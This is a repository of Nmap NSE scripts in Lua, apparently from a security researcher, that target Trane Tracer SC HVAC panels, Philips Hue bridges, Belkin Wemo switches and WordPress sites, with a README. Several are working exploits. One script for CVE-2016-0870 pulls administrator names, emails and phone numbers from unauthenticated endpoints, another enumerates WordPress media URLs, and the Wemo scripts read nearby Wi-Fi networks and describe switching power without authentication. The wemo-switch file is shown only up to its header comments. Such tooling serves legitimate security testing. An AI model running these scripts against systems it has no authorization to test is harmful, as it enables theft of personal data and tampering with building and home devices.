├── README.md ├── http-vuln-cve2016-0870.nse ├── http-wordpress-attachment.nse ├── httpframe.nse ├── philipshue-info.nse ├── trane-info.nse ├── wemo-info.nse └── wemo-switch.nse /README.md: -------------------------------------------------------------------------------- 1 | nmap-nse-scripts 2 | ================ 3 | 4 | 5 |

http-vuln-cve2016-0870.nse

6 | 7 | Trane Tracer SC is an intelligent field panel for communicating with HVAC equipment controllers. Contents of specific directories on the Tracer SC are exposed with the web server application to unauthenticated users. This script obtains information about the administrators (name, email, phone). 8 | 9 | 10 |

trane-info.nse

11 | 12 | Trane Tracer SC is an intelligent field panel for communicating with HVAC equipment controllers. Contents of specific directories on the Tracer SC are exposed with the web server application to unauthenticated users. This script obtains information about the installed devices. 13 | 14 | 15 | 16 | 17 |

philipshue-info.nse

18 | 19 | The Philips Hue is a wireless lighting system. This script obtains information from the web API of the Philips Hue Bridge. 20 | 21 | 22 | 23 | 24 |

wemo-switch.nse

25 | 26 | The Belkin Wemo Switch is a network enabled power outlet. This scripts changes the switch state (ON/OFF) acording to the argument BinaryState. 27 | 28 | Blog: http://websec.ca/blog/view/Belkin-Wemo-Switch-NMap-Scripts 29 | 30 | Video: https://www.youtube.com/embed/gfsV7Sh0EgI 31 | 32 | 33 | 34 | 35 |

wemo-info.nse

36 | 37 | The Belkin Wemo Switch is a network enabled power outlet. This scripts obtains information from Belkin Wemo Switch including nearby wireless networks and the current switch state (ON/OFF). 38 | 39 | Blog: http://websec.ca/blog/view/Belkin-Wemo-Switch-NMap-Scripts 40 | 41 | 42 | 43 | 44 |

http-wordpress-attachment.nse

45 | 46 | Enumerates URLs of uploaded media and pages in Wordpress blog/CMS installations by exploiting an information disclosure vulnerability. 47 | 48 | Original advisory: http://blog.whitehatsec.com/information-leakage-in-wordpress/#.Ueig9m0_yms 49 | 50 | 51 |

httpframe.nse

52 | 53 | Stores the results of an HTTP(S) scan on a HTML page with JQuery. Shows IP, header, realm and tries to identify if target is a router, camera or common web server. 54 | 55 | Almacena los resultados de un barrido HTTP(S) en una página web con Frames y JQuery. Muestra las direcciones IP, un mirror del contenido html, el contenido de la cabecera 56 | www-authenticate. De acuerdo al header server o al contenido de la página que obtiene muestra si es un router, cámara o servidor común. 57 | -------------------------------------------------------------------------------- /http-vuln-cve2016-0870.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local http = require "http" 3 | local stdnse = require "stdnse" 4 | local string = require "string" 5 | local shortport = require "shortport" 6 | local table = require "table" 7 | 8 | description = [[ 9 | Trane Tracer SC is an intelligent field panel for communicating with HVAC equipment controllers. According to Trane U.S. Inc., Tracer SC is deployed across several sectors including Commercial Facilities and others. 10 | 11 | Contents of specific directories on the Tracer SC are exposed with the web server application to unauthenticated users. These directories have sensitive information within the configuration files. 12 | 13 | Valid on Trane Tracer SC version 4.20.1134 and below. Tested on 7/3/17. 14 | 15 | References: 16 | * https://ics-cert.us-cert.gov/advisories/ICSA-16-259-03 17 | * http://www.cvedetails.com/cve/CVE-2016-0870/ 18 | * http://websec.mx 19 | 20 | ]] 21 | 22 | --- 23 | -- @usage nmap -p80 --script http-vuln-cve2016-0870.nse 24 | -- 25 | -- @output 26 | -- | trane-info: 27 | -- | serverName: TracerSC 28 | -- | serverTime: 2017-07-03T21:01:02-04:00 29 | -- | serverBootTime: 2017-06-25T03:14:38-04:00 30 | -- | vendorName: Trane 31 | -- | productName: Tracer SC 32 | -- | productVersion: v4.40.1211 (release) 33 | -- | kernelVersion: 2.6.30_HwVer12AB-hydra 34 | -- | hardwareType: HwVer12AB 35 | -- | hardwareSerialNumber: E15A##### 36 | -- | 1:equipmentUri: /equipment/generic/generic/## 37 | -- | 1:displayName: BOILER ROOMS 38 | -- | 1:deviceName: BOILER ROOMS 39 | -- | 1:equipmentFamily: Generic 40 | -- | 1:roleDocument: BOILER_ROOMS 41 | -- | 1:isOffline: false 42 | -- | 2:equipmentUri: /equipment/generic/generic/## 43 | -- | 2:displayName: BOILER ROOMS 44 | -- | 2:deviceName: BOILER ROOMS 45 | -- | 2:equipmentFamily: Generic 46 | -- | 2:roleDocument: BOILER_ROOMS 47 | -- | 2:isOffline: false 48 | -- | 3:equipmentUri: /equipment/generic/generic/## 49 | -- | 3:displayName: EXHAUSTS 3 RM-6 50 | -- | 3:deviceName: EXHAUSTS 3 RM-6 51 | -- | 3:equipmentFamily: Generic 52 | -- | 3:roleDocument: EXHAUSTS_3_RM-6 53 | -- | 3:isOffline: false 54 | -- 55 | -- @xmloutput 56 | -- TracerSC 57 | -- 2017-07-03T21:01:02-04:00 58 | -- 2017-06-25T03:14:38-04:00 59 | -- Trane 60 | -- Tracer SC 61 | -- v4.40.1211 (release) 62 | -- -- 2.6.30_HwVer12AB-hydra 63 | -- HwVer12AB 64 | -- E15A##### 65 | -- /equipment/generic/generic/## 66 | -- BOILER ROOMS 67 | -- BOILER ROOMS 68 | -- Generic 69 | -- BOILER_ROOMS 70 | -- false 71 | -- /equipment/generic/generic/## 72 | -- BOILER ROOMS 73 | -- BOILER ROOMS 74 | -- Generic 75 | -- BOILER_ROOMS 76 | -- false 77 | -- /equipment/generic/generic/## 78 | -- EXHAUSTS 3 RM-6 79 | -- EXHAUSTS 3 RM-6 80 | -- Generic 81 | -- EXHAUSTS_3_RM-6 82 | -- false 83 | --- 84 | 85 | author = "Pedro Joaquin " 86 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 87 | categories = {"vuln", "safe"} 88 | 89 | portrule = shortport.portnumber({80}) 90 | 91 | local output = stdnse.output_table() 92 | local outputcol = "\nuserId, firstName, lastName, phoneNo, email, administrator, active,\n" 93 | 94 | local count = 1 95 | 96 | local function GetUserInfo(host, port, usernumber) 97 | --Get information from /evox/user/user/#usernumber# 98 | local uri = '/evox/user/user/'..usernumber 99 | local response = http.get(host, port, uri) 100 | if response['status-line'] and response['status-line']:match("200") then 101 | --Verify response and parsing of XML /evox/user/user/#usernumber# 102 | local xmlparsetest = response['body']:match('userId') 103 | if not xmlparsetest then 104 | stdnse.debug1("Problem with XML parsing. No users found in /evox/user/user") 105 | return nil, "Problem with XML parsing. No users found in /evox/user/user" 106 | end 107 | if response['status-line'] and response['status-line']:match("401") then 108 | stdnse.debug1("401 Unauthorized") 109 | return nil, "401 Unauthorized" 110 | end 111 | 112 | local keylist = {"userId","firstName","lastName","phoneNo","email", "administrator","active"} 113 | for _,key in ipairs(keylist) do 114 | stdnse.debug1("Looking for : "..key) 115 | output[count..":"..key] = response['body']:match(key..'" val=([^<]*) />') 116 | output[count..":"..key] = string.gsub(output[count..":"..key],'"',"") 117 | outputcol = outputcol..output[count..":"..key]..', ' 118 | stdnse.debug1("Found : "..output[count..":"..key]) 119 | end 120 | count = count + 1 121 | outputcol = outputcol .. '\n' 122 | end 123 | end 124 | 125 | local function GetInformation(host, port) 126 | 127 | --Get information from /evox/user/user 128 | local uri = '/evox/user/user' 129 | local response = http.get(host, port, uri) 130 | if response['status-line'] and response['status-line']:match("200") then 131 | --Verify response and parsing of XML from /evox/user/user 132 | local xmlparsetest = response['body']:match(' 18 | -- nmap -sV --script http-wordpress-attachment --script-args limit=1000 19 | -- 20 | -- @output 21 | -- PORT STATE SERVICE 22 | -- 80/tcp open http 23 | -- | http-wordpress-attachment: 24 | -- | URL: http://www.hakim.ws/calendario/ 25 | -- | URL: http://www.hakim.ws/2010/12/noticias-anteriores-al-201/ 26 | -- |_Search stopped at ID #25. Increase the upper limit if necessary with '--script-args limit=1000' 27 | -- 28 | -- @args http-wordpress-attachment.limit Upper limit for ID search. Default: 100 29 | -- @args http-wordpress-attachment.basepath Base path to Wordpress. Default: / 30 | -- @args http-wordpress-attachment.out If set it saves the URL list in this file. 31 | --- 32 | 33 | author = "Pedro Joaquin based on Paulino Calderon http-wordpress-enum" 34 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 35 | categories = {"auth", "intrusive", "vuln"} 36 | 37 | 38 | portrule = shortport.http 39 | 40 | --- 41 | -- Returns the URL extracted from the Location corresponding to the attachment_id passed 42 | -- If attachment_id doesn't exists returns false 43 | -- @param host Host table 44 | -- @param port Port table 45 | -- @param path Base path to WP 46 | -- @param id Attachment id 47 | -- @return false if not found otherwise it returns the username 48 | --- 49 | local function get_wp_url(host, port, path, id) 50 | stdnse.print_debug(2, "%s: Trying to get URL with attachment_id %s", SCRIPT_NAME, id) 51 | local req = http.get(host, port, path.."?attachment_id="..id, {no_cache = true, redirect_ok = false}) 52 | if req.status == 301 then 53 | if string.find(req.header.location, "attachment_id") == nil then 54 | stdnse.print_debug(1, "Attachment_id #%s returned %s", id, req.header.location) 55 | return req.header.location 56 | end 57 | end 58 | return false 59 | end 60 | 61 | --- 62 | --Returns true if WP installation exists. 63 | --We assume an installation exists if wp-content is found in body of index.php 64 | --@param host Host table 65 | --@param port Port table 66 | --@param path Path to WP 67 | --@return True if 404 page contains string wp-content 68 | -- 69 | local function check_wp(host, port, path) 70 | stdnse.print_debug(2, "Checking wp-content in body") 71 | local req = http.get(host, port, path..math.random(1, 99999999), {no_cache = true}) 72 | if req.status == 404 then 73 | if string.find(tostring(req.body), "wp%-content") ~= nil then 74 | stdnse.print_debug(1, "Wordpress installation detected. String wp-content found in 404 body") 75 | return true 76 | end 77 | end 78 | return false 79 | end 80 | 81 | --- 82 | --Writes string to file 83 | --Taken from: hostmap.nse 84 | --@param filename Target filename 85 | --@param contents String to save 86 | --@return true when successful 87 | local function write_file(filename, contents) 88 | local f, err = io.open(filename, "w") 89 | if not f then 90 | return f, err 91 | end 92 | f:write(contents) 93 | f:close() 94 | return true 95 | end 96 | 97 | 98 | --- 99 | --MAIN 100 | --- 101 | action = function(host, port) 102 | local basepath = stdnse.get_script_args("http-wordpress-attachment.basepath") or "/" 103 | local limit = stdnse.get_script_args("http-wordpress-attachment.limit") or 100 104 | local filewrite = stdnse.get_script_args("http-wordpress-attachment.out") 105 | local output = {""} 106 | local users = {} 107 | 108 | --First, we check this is WP 109 | if not(check_wp(host, port, basepath)) then 110 | if nmap.verbosity() >= 2 then 111 | return "[Error] Wordpress installation was not found. We couldn't find wp-content" 112 | else 113 | return 114 | end 115 | end 116 | 117 | --Incrementing ids to enum URLs 118 | for i=1, tonumber(limit) do 119 | local user = get_wp_url(host, port, basepath, i) 120 | if user then 121 | output[#output+1] = string.format("URL: %s", user) 122 | users[#users+1] = user 123 | end 124 | end 125 | 126 | if filewrite and #users>0 then 127 | local status, err = write_file(filewrite, stdnse.strjoin("\n", users)) 128 | if status then 129 | output[#output+1] = string.format("URLs saved to %s\n", filewrite) 130 | else 131 | output[#output+1] = string.format("Error saving %s: %s\n", filewrite, err) 132 | end 133 | end 134 | 135 | if #output > 1 then 136 | output[#output+1] = string.format("Search stopped at ID #%s. Increase the upper limit if necessary with 'http-wordpress-attachment.limit'", limit) 137 | return stdnse.strjoin("\n", output) 138 | end 139 | end 140 | -------------------------------------------------------------------------------- /httpframe.nse: -------------------------------------------------------------------------------- 1 | local http = require "http" 2 | local shortport = require "shortport" 3 | local stdnse = require "stdnse" 4 | local string = require "string" 5 | 6 | description = [[ 7 | Stores the results of an HTTP(S) scan on a HTML page with JQuery. Shows IP, header, 8 | realm and tries to identify if target is a router, camera or common web server. 9 | 10 | Almacena los resultados de un barrido HTTP(S) en una página web con Frames y JQuery. 11 | Muestra las direcciones IP, un mirror del contenido html, el contenido de la cabecera 12 | www-authenticate. De acuerdo al header server o al contenido de la página que obtiene 13 | muestra si es un router, cámara o firewall. 14 | ]] 15 | author = {'Pedro Joaquin pjoaquin()websec.mx'} 16 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 17 | categories = {"discovery"} 18 | 19 | portrule = shortport.port_or_service({80, 443}, 20 | {"http", "https"}) 21 | 22 | local function categoria(server) 23 | local modemlist = {'Router', 'Modem','RomPager', 'DSL', 'Mbedthis','Mathopd','GoAhead','IOS','httpd','siyou server','lighttpd','login.lp','ADTRAN','Technicolor','url_filter_hint.asp','RouterOS'} 24 | for i=1, #modemlist do 25 | if string.find(server, modemlist[i]) then return "Router" end 26 | end 27 | 28 | local camlist = {'dcs-lig-httpd', 'Camera', 'Avtech', 'Hikvision', 'iCanWebServer', 'Boa', 'AV-TECH','Cross Web Server','DCS-','netcam'} 29 | for i=1, #camlist do 30 | if string.find(server, camlist[i]) then return "Camera" end 31 | end 32 | 33 | local serverlist = {'Apache', 'IIS'} 34 | for i=1, #serverlist do 35 | if string.find(server, serverlist[i]) then return "Server" end 36 | end 37 | 38 | return "Unknown" 39 | end 40 | 41 | local function siexiste(var1) 42 | if var1 == nil then 43 | return "" 44 | else 45 | return var1 46 | end 47 | end 48 | 49 | local function savefile(name, content, mode) 50 | local file, err = io.open(name, mode) 51 | if ( file ) then 52 | file:write(content) 53 | file:close() 54 | else 55 | return "\n ERROR: " .. file 56 | end 57 | end 58 | 59 | savefile('httpframe_log.html', 'httpframe.nse v0.5', 'w') 60 | savefile("httpframe_log/menu.htm", '','w') 66 | 67 | savefile("httpframe_log/menu.htm", ''.. 68 | ''.. 69 | ''.. 70 | ''.. 71 | '', 'a+') 72 | 73 | savefile("httpframe_log/menu.htm", '','a+') 74 | 75 | action = function(host, port) 76 | 77 | local query = http.get(host.ip, port, "/") 78 | 79 | local serverstring = " " 80 | 81 | if query.header['server'] ~= nil then serverstring = query.header['server'] end 82 | if query.header['www-authenticate'] ~= nil then serverstring = serverstring .. query.header['www-authenticate'] end 83 | if query.body ~= nil then savefile("httpframe_log/" .. host.ip .. ".html", query.body, 'w') end 84 | 85 | if query.status == 302 then 86 | serverstring = serverstring .. query.header['location'] 87 | savefile("httpframe_log/" .. host.ip .. ".html", "Location: "..query.header['location'], 'w') 88 | end 89 | 90 | if query.body ~= nil then 91 | if string.find(query.body, ".location") then 92 | serverstring=serverstring..query.body 93 | query.body="" 94 | savefile("httpframe_log/" .. host.ip .. ".html", query.body, 'w') 95 | end 96 | end 97 | 98 | if port.service == "https" then 99 | savefile("httpframe_log/menu.htm", '', 'a+') 100 | else 101 | savefile("httpframe_log/menu.htm", '', 'a+') 102 | end 103 | 104 | savefile("httpframe_log/menu.htm", '', 'a+') 105 | savefile("httpframe_log/menu.htm", '', 'a+') 106 | savefile("httpframe_log/menu.htm", '', 'a+') 107 | savefile("httpframe_log/menu.htm", '', 'a+') 108 | savefile("httpframe_log/menu.htm", '', 'a+') 109 | savefile("httpframe_log/menu.htm", '', 'a+') 110 | 111 | return "Information added to httpframe_log.html " 112 | end 113 | -------------------------------------------------------------------------------- /philipshue-info.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local http = require "http" 3 | local stdnse = require "stdnse" 4 | local string = require "string" 5 | local shortport = require "shortport" 6 | local json = require "json" 7 | 8 | description = [[ 9 | The Philips Hue is a wireless lighting system. This script obtains 10 | information from the web API of the Philips Hue Bridge. 11 | 12 | Tested on Philips Hue Bridge apiversion: 1.19.0 on 6/25/17. 13 | 14 | References: 15 | * http://websec.mx 16 | * https://developers.meethue.com/philips-hue-api 17 | ]] 18 | 19 | --- 20 | -- @usage nmap -p80 --script philipshue-info.nse 21 | -- 22 | -- @output 23 | -- | phillipshue-info: 24 | -- | bridgeid: 001788FFFE2F3F58 25 | -- | swversion: 1705121051 26 | -- | replacesbridgeid: 27 | -- | 28 | -- | datastoreversion: 61 29 | -- | factorynew: false 30 | -- | starterkitid: 31 | -- | apiversion: 1.19.0 32 | -- | modelid: BSB002 33 | -- | mac: 00:17:88:2f:3f:58 34 | -- |_ name: Philips hue 35 | -- 36 | -- @xmloutput 37 | -- 001788FFFE2F3F58 38 | -- 1705121051 39 | -- 61 40 | -- false 41 | -- 42 | -- 1.19.0 43 | -- BSB002 44 | -- 00:17:88:2f:3f:58 45 | -- Philips hue 46 | --- 47 | 48 | author = "Pedro Joaquin " 49 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 50 | categories = {"discover", "version", "safe"} 51 | 52 | portrule = shortport.portnumber(80) 53 | 54 | local URI = '/api/config' 55 | 56 | local function GetInformation(host, port) 57 | local response = http.get(host, port, URI) 58 | if response.body and response['body']:match("bridgeid") then 59 | local stat, output = json.parse(response.body) 60 | if stat then 61 | return output 62 | 63 | else 64 | errmsg = "Error parsing JSON from "..URI.." response: "..output 65 | end 66 | else 67 | errmsg = "No response or 'bridgeid' not found in response" 68 | end 69 | stdnse.debug1(errmsg) 70 | return nil, errmsg 71 | end 72 | 73 | 74 | action = function(host,port) 75 | return GetInformation(host, port) 76 | end 77 | -------------------------------------------------------------------------------- /trane-info.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local http = require "http" 3 | local stdnse = require "stdnse" 4 | local string = require "string" 5 | local shortport = require "shortport" 6 | 7 | description = [[ 8 | Trane Tracer SC is an intelligent field panel for communicating with HVAC equipment controllers. According to Trane U.S. Inc., Tracer SC is deployed across several sectors including Commercial Facilities and others. 9 | 10 | Contents of specific directories on the Tracer SC are exposed with the web server application to unauthenticated users. 11 | 12 | Valid on Trane Tracer SC version 4.40.1211 and below. Tested on 7/3/17. 13 | 14 | References: 15 | * http://websec.mx 16 | 17 | ]] 18 | 19 | --- 20 | -- @usage nmap -p80 --script trane-info.nse 21 | -- 22 | -- @output 23 | -- | trane-info: 24 | -- | serverName: TracerSC 25 | -- | serverTime: 2017-07-03T21:01:02-04:00 26 | -- | serverBootTime: 2017-06-25T03:14:38-04:00 27 | -- | vendorName: Trane 28 | -- | productName: Tracer SC 29 | -- | productVersion: v4.40.1211 (release) 30 | -- | kernelVersion: 2.6.30_HwVer12AB-hydra 31 | -- | hardwareType: HwVer12AB 32 | -- | hardwareSerialNumber: E15A##### 33 | -- | 1:equipmentUri: /equipment/generic/generic/## 34 | -- | 1:displayName: BOILER ROOMS 35 | -- | 1:deviceName: BOILER ROOMS 36 | -- | 1:equipmentFamily: Generic 37 | -- | 1:roleDocument: BOILER_ROOMS 38 | -- | 1:isOffline: false 39 | -- | 2:equipmentUri: /equipment/generic/generic/## 40 | -- | 2:displayName: BOILER ROOMS 41 | -- | 2:deviceName: BOILER ROOMS 42 | -- | 2:equipmentFamily: Generic 43 | -- | 2:roleDocument: BOILER_ROOMS 44 | -- | 2:isOffline: false 45 | -- | 3:equipmentUri: /equipment/generic/generic/## 46 | -- | 3:displayName: EXHAUSTS 3 RM-6 47 | -- | 3:deviceName: EXHAUSTS 3 RM-6 48 | -- | 3:equipmentFamily: Generic 49 | -- | 3:roleDocument: EXHAUSTS_3_RM-6 50 | -- | 3:isOffline: false 51 | -- 52 | -- @xmloutput 53 | -- TracerSC 54 | -- 2017-07-03T21:01:02-04:00 55 | -- 2017-06-25T03:14:38-04:00 56 | -- Trane 57 | -- Tracer SC 58 | -- v4.40.1211 (release) 59 | -- -- 2.6.30_HwVer12AB-hydra 60 | -- HwVer12AB 61 | -- E15A##### 62 | -- /equipment/generic/generic/## 63 | -- BOILER ROOMS 64 | -- BOILER ROOMS 65 | -- Generic 66 | -- BOILER_ROOMS 67 | -- false 68 | -- /equipment/generic/generic/## 69 | -- BOILER ROOMS 70 | -- BOILER ROOMS 71 | -- Generic 72 | -- BOILER_ROOMS 73 | -- false 74 | -- /equipment/generic/generic/## 75 | -- EXHAUSTS 3 RM-6 76 | -- EXHAUSTS 3 RM-6 77 | -- Generic 78 | -- EXHAUSTS_3_RM-6 79 | -- false 80 | --- 81 | 82 | author = "Pedro Joaquin " 83 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 84 | categories = {"discover", "version", "safe"} 85 | 86 | portrule = shortport.portnumber({80}) 87 | 88 | 89 | local function GetInformation(host, port) 90 | local output = stdnse.output_table() 91 | 92 | --Get information from /evox/about 93 | local uri = '/evox/about' 94 | local response = http.get(host, port, uri) 95 | if response['status-line'] and response['status-line']:match("200") then 96 | --Verify parsing of XML from /evox/about 97 | local deviceType = response['body']:match('serverName" val=([^<]*)/>') 98 | if not deviceType then 99 | stdnse.debug1("Problem with XML parsing of /evox/about") 100 | return nil,"Problem with XML parsing of /evox/about" 101 | end 102 | --Parse information from /evox/about 103 | local keylist = {"serverName","serverTime","serverBootTime","vendorName","productName","productVersion","kernelVersion","hardwareType","hardwareSerialNumber"} 104 | for _,key in ipairs(keylist) do 105 | stdnse.debug1("Looking for : "..key) 106 | output[key] = response['body']:match(key..'" val=([^<]*)/>') 107 | stdnse.debug1("Found : "..output[key]) 108 | output[key] = output[key]:gsub('"', "") 109 | end 110 | 111 | 112 | 113 | --Get information from /evox/equipment/installedSummary 114 | local uri = '/evox/equipment/installedSummary' 115 | local response = http.get(host, port, uri) 116 | if response['status-line'] and response['status-line']:match("200") then 117 | --Verify parsing of XML from /evox/equipment/installedSummary 118 | local error = response['body']:match('Error code: 00017') 119 | if error then 120 | stdnse.debug1("/evox/equipment/installedSummary is not available") 121 | end 122 | local equipmentUri = response['body']:match('equipmentUri" val=([^<]*)/>') 123 | if not equipmentUri then 124 | stdnse.debug1("Problem with XML parsing") 125 | end 126 | 127 | if not error then 128 | --Parse information from /evox/equipment/installedSummary 129 | local keylist = {"equipmentUri","displayName","deviceName","equipmentFamily","roleDocument","isOffline"} 130 | 131 | local _,lastequipmentUri = response['body']:find(".*equipmentUri") 132 | stdnse.debug1("lastequipmentUri : "..lastequipmentUri) 133 | local count = 1 134 | local nextequipmentUri = 1 135 | while nextequipmentUri < lastequipmentUri do 136 | for _,key in ipairs(keylist) do 137 | stdnse.debug1("Looking for : "..key) 138 | output[count..":"..key] = response['body']:match(key..'" val=([^<]*)/>',nextequipmentUri) 139 | if output[count..":"..key] == nil then 140 | output[count..":"..key] = "Not available" 141 | else 142 | output[count..":"..key] = output[count..":"..key]:gsub('"', "") 143 | stdnse.debug1("Found : "..output[count..":"..key]) 144 | end 145 | end 146 | _,nextequipmentUri = response['body']:find("equipmentUri",nextequipmentUri) 147 | count = count + 1 148 | stdnse.debug1("Count : "..count) 149 | end 150 | end 151 | end 152 | 153 | stdnse.debug1("status-line: "..response['status-line']) 154 | local error = response['status-line']:match('Error') 155 | if error then 156 | stdnse.debug1("Request returned a network error.") 157 | return nil, "Request returned a network error." 158 | end 159 | -- Set the port version 160 | port.version.name = "http" 161 | port.version.name_confidence = 10 162 | port.version.product = output["productName"] 163 | port.version.version = output["productVersion"] 164 | port.version.devicetype = output["hardwareType"] 165 | table.insert(port.version.cpe, "cpe:/h:".. output["vendorName"] .. ":" .. output["productName"]) 166 | 167 | nmap.set_port_version(host, port, "hardmatched") 168 | return output 169 | end 170 | end 171 | 172 | action = function(host,port) 173 | 174 | -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests 175 | local status_404, result_404, _ = http.identify_404(host,port) 176 | if ( status_404 and result_404 == 200 ) then 177 | stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number) 178 | return nil 179 | end 180 | 181 | return GetInformation(host, port) 182 | end -------------------------------------------------------------------------------- /wemo-info.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local http = require "http" 3 | local stdnse = require "stdnse" 4 | local string = require "string" 5 | local shortport = require "shortport" 6 | 7 | description = [[ 8 | The Belkin Wemo Switch is a network enabled power outlet. This scripts obtains 9 | information from Belkin Wemo Switch including nearby wireless networks and the 10 | current switch state (ON/OFF). 11 | 12 | There is a separate NSE script that may be used for changing the switch state. 13 | No authentication is required. 14 | 15 | Valid on Belkin Wemo Switch version WeMo_WW_2.00.10966.PVT-OWRT-SNS on 6/24/17 16 | 17 | References: 18 | * http://websec.ca/blog/view/Belkin-Wemo-Switch-NMap-Scripts 19 | * https://www.tripwire.com/state-of-security/featured/my-sector-story-root-shell-on-the-belkin-wemo-switch/ 20 | * https://www.exploitee.rs/index.php/Belkin_Wemo 21 | ]] 22 | 23 | --- 24 | -- @usage nmap -p49152,49153,49154 --script wemo-info.nse 25 | -- 26 | -- @output 27 | -- | wemo-info: 28 | -- | friendlyName: : Wemo Switch 29 | -- | deviceType: urn:Belkin:device:controllee:1 30 | -- | manufacturer: Belkin International Inc. 31 | -- | manufacturerURL: http://www.belkin.com 32 | -- | modelDescription: Belkin Plugin Socket 1.0 33 | -- | modelName: Socket 34 | -- | modelNumber: 1.0 35 | -- | modelURL: http://www.belkin.com/plugin/ 36 | -- | serialNumber: 220333K0203A4E 37 | -- | UDN: uuid:Socket-1_0-220333K0203A4E 38 | -- | UPC: 123456789 39 | -- | macAddress: EC1A59EE48E3 40 | -- | firmwareVersion: WeMo_WW_2.00.10966.PVT-OWRT-SNS 41 | -- | iconVersion: 0|49154 42 | -- | binaryState: 1 43 | -- | Switch is currently turned: ON 44 | -- | Nearby wireless networks: Page:1/1/4$ 45 | -- | Visita Cozumel FTW|5|0|OPEN/NONE, 46 | -- | PVGP-2|6|0|WPA1PSKWPA2PSK/TKIPAES, 47 | -- | INFINITUM|8|65|WPA2PSK/AES, 48 | -- |_INFINITUM|11|0|WPA1PSKWPA2PSK/TKIPAES, 49 | -- 50 | -- @xmloutput 51 | -- urn:Belkin:device:controllee:1 52 | -- Belkin International Inc. 53 | -- http://www.belkin.com 54 | -- Belkin Plugin Socket 1.0 55 | -- Socket 56 | -- 1.0 57 | -- http://www.belkin.com/plugin/ 58 | -- 220333K0203A4E 59 | -- uuid:Socket-1_0-220333K0203A4E 60 | -- 123456789 61 | -- EC1A59ED59C4 62 | -- WeMo_WW_2.00.10966.PVT-OWRT-SNS 63 | -- 0|49153 64 | -- 1 65 | -- ON 66 | -- Page:1/1/4$ Visita Cozumel FTW|5|0|OPEN/NONE, PVGP-2|6|0|WPA1PSKWPA2PSK/TKIPAES, INFINITUM|8|65|WPA2PSK/AES, INFINITUM|11|0|WPA1PSKWPA2PSK/TKIPAES, 67 | --- 68 | 69 | author = "Pedro Joaquin " 70 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 71 | categories = {"discover", "version", "safe"} 72 | 73 | portrule = shortport.portnumber({49152,49153,49154}) 74 | 75 | local function GetInformation(host, port) 76 | local uri = '/setup.xml' 77 | local response = http.get(host, port, uri) 78 | 79 | if response['status-line'] and response['status-line']:match("200 OK") then 80 | --Verify parsing of XML from /setup.xml 81 | local deviceType = response['body']:match("([^<]*)") 82 | if not deviceType then 83 | stdnse.debug1("Problem with XML parsing") 84 | return nil,"Problem with XML parsing" 85 | end 86 | 87 | --Parse information from /setup.xml 88 | local output = stdnse.output_table() 89 | local keylist = {"friendlyName","deviceType","manufacturer","manufacturerURL","modelDescription", "modelName","modelName","modelNumber","modelURL","serialNumber","UDN","UPC","macAddress","firmwareVersion","iconVersion","binaryState"} 90 | for _,key in ipairs(keylist) do 91 | stdnse.debug1("Looking for : "..key) 92 | output[key] = response['body']:match("<"..key..">([^<]*)") 93 | end 94 | 95 | --Identify current Switch state 96 | local bstate="Switch is currently turned" 97 | if output["binaryState"] == "1" then 98 | output[bstate] = "ON" 99 | else 100 | output[bstate] = "OFF" 101 | end 102 | 103 | --Post request to obtain nearby wireless network information 104 | local req = '' 105 | local path = "/upnp/control/WiFiSetup1" 106 | local options = {header={["SOAPACTION"]='"urn:Belkin:service:WiFiSetup1:1#GetApList"', ["Content-Type"]="text/xml"}} 107 | local result = http.post( host, port, path, options, nil, req) 108 | stdnse.debug1("Status-a : %s", result['status-line'] or "No Response") 109 | if result['status-line'] and result['status-line']:match("200 OK") then 110 | output["Nearby wireless networks"] = result['body']:match("([^<]*)") 111 | else 112 | stdnse.debug1("Status-b : %s", result['status-line'] or "No Response") 113 | return false, "Couldn't download file: " .. path 114 | end 115 | 116 | -- set the port version 117 | port.version.name = "http" 118 | port.version.name_confidence = 10 119 | port.version.product = output["modelDescription"] or nil 120 | port.version.version = output["firmwareVersion"] or nil 121 | port.version.devicetype = output["deviceType"] or nil 122 | table.insert(port.version.cpe, "cpe:/h:".. output["manufacturer"] .. ":" .. output["modelDescription"]) 123 | 124 | nmap.set_port_version(host, port, "hardmatched") 125 | 126 | return output 127 | 128 | else 129 | stdnse.debug1("Could not open '%s'", uri) 130 | return false, "Could not open "..uri 131 | end 132 | end 133 | 134 | action = function(host,port) 135 | 136 | -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests 137 | local status_404, result_404, _ = http.identify_404(host,port) 138 | if ( status_404 and result_404 == 200 ) then 139 | stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number) 140 | return nil 141 | end 142 | 143 | return GetInformation(host, port) 144 | end 145 | -------------------------------------------------------------------------------- /wemo-switch.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local http = require "http" 3 | local stdnse = require "stdnse" 4 | local string = require "string" 5 | local shortport = require "shortport" 6 | 7 | description = [[ 8 | The Belkin Wemo Switch is a network enabled power outlet. This scripts changes 9 | the switch state (ON/OFF) acording to the argument BinaryState. 10 | 11 | There is a separate NSE script that may be used for obtaining information such 12 | as the switch current state, nearby wireless networks and versions. 13 | No authentication is required. 14 | 15 | Valid on Belkin Wemo Switch version WeMo_WW_2.00.10966.PVT-OWRT-SNS on 6/22/17 16 | 17 | References: 18 | * http://websec.ca/blog/view/Belkin-Wemo-Switch-NMap-Scripts 19 | * https://www.tripwire.com/state-of-security/featured/my-sector-story-root-shell-on-the-belkin-wemo-switch/ 20 | * https://www.exploitee.rs/index.php/Belkin_Wemo 21 | ]] 22 | 23 | --- 24 | -- @usage nmap -p49152,49153,49154 --script wemo-switch --script-args BinaryState=1 25 | -- 26 | -- @output 27 | --| wemo-switch: 28 | --| BinaryState: 1 29 | --|_ Switch is currently turned: ON 30 | -- 31 | -- @xmloutput 32 | -- 1 33 | -- ON 34 | -- 35 | -- @args wemo-switch.BinaryState Turn the device ON (1) or OFF (0). 36 | --- 37 | 38 | 